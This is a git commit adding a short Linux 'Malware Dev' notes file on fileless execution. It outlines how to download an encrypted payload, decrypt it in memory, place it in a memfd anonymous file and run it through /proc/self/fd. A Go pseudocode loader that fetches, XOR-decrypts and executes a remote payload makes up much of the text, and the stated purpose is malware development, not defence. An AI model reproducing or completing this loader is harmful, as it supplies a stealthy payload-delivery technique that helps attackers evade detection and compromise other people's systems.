first commit

Necronomicon/Linux/Malware Dev.md

@@ -0,0 +1,25 @@
+- In-memory binary file execution
+	- Use `memfd` syscall to create a virtual file entirely in memory and then use the file's symbolic link (`/proc/self/fd/<id>`) to execute it.
+	- Basic process:
+		1. Encrypt/encode payload
+		2. Host and download payload
+		3. Decrypt payload in memory and initialize "anonymous" file using `memfd`
+		4. Copy decrypted payload into memory-only file and execute
+- High-level pseudocode:
+```Go
+func main() {
+	 // Download the encrypted payload
+	 data, err := getURLContent(path)
+	 // Decrypt it using XOR operation
+	 decryptedData := decryptXor(data, []byte("verylongkey"))
+	 // Create an anonymous file in memory
+	 mfd, err := memfd.Create()
+	 // Write the decrypted payload to the file
+	 mfd.Write(decryptedData)
+	 // Get the symbolic link to the file
+	 filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
+	 // Execute the file
+	 cmd := exec.Command(filePath)
+	 out, err := cmd.Run()
+}
+```